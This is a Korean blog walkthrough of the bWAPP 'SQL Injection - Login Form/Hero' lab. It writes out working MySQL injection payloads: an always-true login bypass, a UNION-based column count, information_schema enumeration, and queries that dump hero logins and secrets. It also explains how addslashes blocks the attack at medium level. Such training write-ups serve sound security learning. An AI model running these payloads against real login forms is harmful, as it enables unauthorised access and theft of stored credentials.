Web Hacking/BWAPP

비박스(BWAPP) SQL Injection - Login Form/Hero

ruming 2020. 11. 16. 18:45

 

MISSOIN. 데이터베이스에 접속해 hero들의 secret들을 빼내자.

난이도 low

 

Q1. SQL injection이 통하는지 아닌지 확인해보고, SQL injection이 된다면 데이터베이스의 서버 종류가 무엇인지 확인해봅시다.

저번처럼 '를 입력했더니 다음과 같은 error가 떴다. SQL 인젝션이 통하고 서버 종류가 MySQL인 것도 알 수 있다.

 

 

Q2. login에 주석 문자를 넣어 항상 참이 되는 쿼리를 삽입하면 아래와 같이 neo라는 이름으로 접속할 수 있습니다. 분명 입력해야 하는 건 login과 password인데 login에 삽입하는 걸로 충분한 이유는 무엇일까요?

로그인에 ' or 1=1 # 을 입력했더니 다음과 같은 창이 떴다.

 

login에 삽입하는 걸로 충분한 이유는?

sqli_3.php

위 소스코드는 페이지 소스코드가 저장되어 있는 sqli_3.php 파일이다. 

 

id와 password를 쿼리 한 줄로 입력받고 있기 때문에 login에 삽입하는 것만으로 충분하단 것을 알 수 있다.

 

 

Q3. 우리가 캐내야 할 다른 herosecret은 아직 많습니다. login 값을 알면 화면에 출력 되는 secret을 알아낼 수 있지만 우리는 다른 hero들의 login 정보를 모릅니다. 그럼 지난 번에 했던 것처럼 테이블 정보를 알아내야겠네요. 우선 컬럼의 개수를 알아냅시다.

저번처럼 ' union select all 1 # 에서 숫자를 늘려가며 컬럼의 수를 알아볼 것이다.

컬럼의 수가 맞지 않으면 다음과 같은 에러 메시지가 뜬다.

 

 

' union select all 1,2,3,4 # 를 입력하니 다음과 같은 창이 떴다.

컬럼의 수는 4개이다.

 

 

Q4. 당신은 저번처럼 무턱대고 테이블 정보를 출력하려 했습니다. 하지만 이전과 다르게 하나의 record (SQL 용어)만 출력하고 있습니다. 그렇다면 select문에 질의 조건을 추가하여 원하는 정보만 출력하게 만듭시다. 질의할 조건을 알아내야 할 필요성이 생겼습니다. 첫번째로, hero 정보가 들어있는 데이터베이스 이름을 알아냅시다.

현재 데이터베이스 이름을 반환하는 database() 함수를 이용해 로그인 창에 ' union select all 1,2,3,database() # 을 입력해 보았더니 다음과 같은 문구가 떴다.

데이터베이스 이름

 

 

Q5. 데이터베이스 조건을 추가하면서 저번처럼 테이블 이름을 알아내봅시다. 쓸모 없는 정보가 나와도 좋으니 시도해보세요.

데이터베이스의 이름은 BWAPP인 것 같다. 이것을 이용해 ' union select all 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' # 를 입력했더니 다음과 같이 나왔다.

 

테이블 이름

지난 글에서 알 수 있지만 information_schema는 DB의 메타정보를 모아둔 DB다. 이 DB의 tables 테이블에서 테이블 이름을 찾을 수 있다.

 

Q6. 시도하셨나요? 위의 quest에선 아래 사진처럼 웬 쓸모없는 테이블 이름을 알아냈습니다. 이제 조건을 추가하여 hero 정보가 들어 있는 테이블 이름을 알아내봅시다. 노가다가 좀 필요합니다.

Blog는 쓸모없는 테이블 이름이었다. hero 정보가 들어있는 테이블 이름을 알아내야 한다.

WHERE절에는 and, or, not, like 등의 연산이 가능하다는 것을 알았다.

and를 이용해 Blog 테이블 이름을 제외하면 다른 테이블 이름을 얻을 수 있다.

hero 정보가 들어있는 테이블 이름

' union select all 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' and table_name!='Blog' #

 

더보기

' union select all 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' and table_name!='Blog' and table_name!='Movies' and table_name!='Heroes' and table_name!='Users' and table_name!='Visitors' #

여러 번의 테이블 이름 제외 작업을 통해 테이블이 Blog, Heroes, Movies, Users, Visitors가 있다는 것을 알게 되었다. 위의 내용을 입력하니 에러가 나는 걸로 봐선 저 5개의 테이블이 전부인 것 같다.

 

Q7. 왠지 heroes 테이블에 정보가 숨겨져 있을 것 같습니다. 이 테이블의 컬럼을 3개 알아냅시다.

컬럼 이름은 columns 테이블에서 알아낼 수 있다. ' union select all 1,column_name,3,4 from information_schema.columns where table_name='Heroes' # 를 입력하면 다음과 같이 나온다.

첫번째 컬럼

아까처럼 컬럼을 제외하며 찾아보자.

두번째 컬럼
세번째 컬럼

더보기

' union select all 1,column_name,3,4 from information_schema.columns where table_name='Heroes' and column_name!='id' and column_name!='Login' and column_name!='Password' and column_name!='Secret' #

 

컬럼은 id, Login, Password, Secret이 있었다.

 

Q8. id, login, password 컬럼이 있음을 알아냈습니다. 이제는 neo 외의 다른 hero들의 secret을 알아낼 때입니다. 최소한 2명의 secret을 알아내세요.

' union select all 1,login,3,password from heroes # 를 입력해 hero들의 secret을 알아내자.

첫번째 희생양

' union select all 1,login,3,password from heroes where login!='Neo' #

두번째 희생양

' union select all 1,login,3,password from heroes where login!='Neo' and login!='Alice' #

세번째 희생양

 

얼마나 많은 히어로가 있는지 궁금해 계속해보았다.

네번째 희생양
다섯번째 희생양
마지막 희생양

 

' union select all 1,login,3,password from heroes where login!='Neo' and login!='Alice' and login!='Thor' and login!= 'Wolverine' and login!='Johnny' and login!='Seline' #

히어로는 6명인 것으로 판명됐다.

 

 


난이도 medium

Quset. 어째서일까요? SQL injection이 통하지 않습니다. 이유를 찾아봅시다.

난이도 중에서 sql 인젝션이 통하는지 알아보기 위해 '를 입력했으나 다음과 같이 나왔다.

sql 인젝션이 왜 안 통하는지 알아보기 위해 sqli_3.php 파일을 살펴보았다.

sqli_3.php파일의 일부분

위 코드는 sqli_3.php에서 데이터를 처리하는 sqli함수 부분이다. 보면 난이도 중처럼 보이는 case "1"에서 sqli_check_1함수가 작동되고 있다.  이 함수는 functions_external.php 파일에 정의되어 있다.

 

functions_external.php

sqli_check_1 부분을 보면 addslashes함수를 반환하고 있다.

addslashes 함수의 역할은 문자열에 특수 문자( ' , " , \ )가 포함되어 있을 때 문자앞에 \(역슬래시)를 붙이는 것이다. 특수문자에 역슬래시가 붙어서 데이터베이스의 필드값으로 저장되면 특수문자가 순수한 하나의 문자로 인식된다고 한다.

이러한 이유로 난이도 중에서는 sql 인젝션이 통하지 않는다.

 

 

 

 

 


참고

 

ttend.tistory.com/609

 

SQL 기초] 조건검색 WHERE(AND, OR, NOT, LIKE)

select.. from으로 검색할 경우 모든 행에 대해 검색한다. 이 때 where절을 from 테이블 명 뒤에 붙여서 조건을 제한할 수 있으며, where 절에는 and, or, not 등의 연산이 가능하고, 문자열 검색을 위해서 lik

ttend.tistory.com

dydwo15.tistory.com/entry/addslashes-%ED%95%A8%EC%88%98

 

addslashes() 함수

자주 사용되는 문자열 관련 함수들 중에서 addslashes() 함수부터 알아보겠습니다. addslashes() 함수의 역할은 어떤 문자열을 데이타베이스의 필드값으로 저장하기 전에 사용되는 함수로 만일, 그 문

dydwo15.tistory.com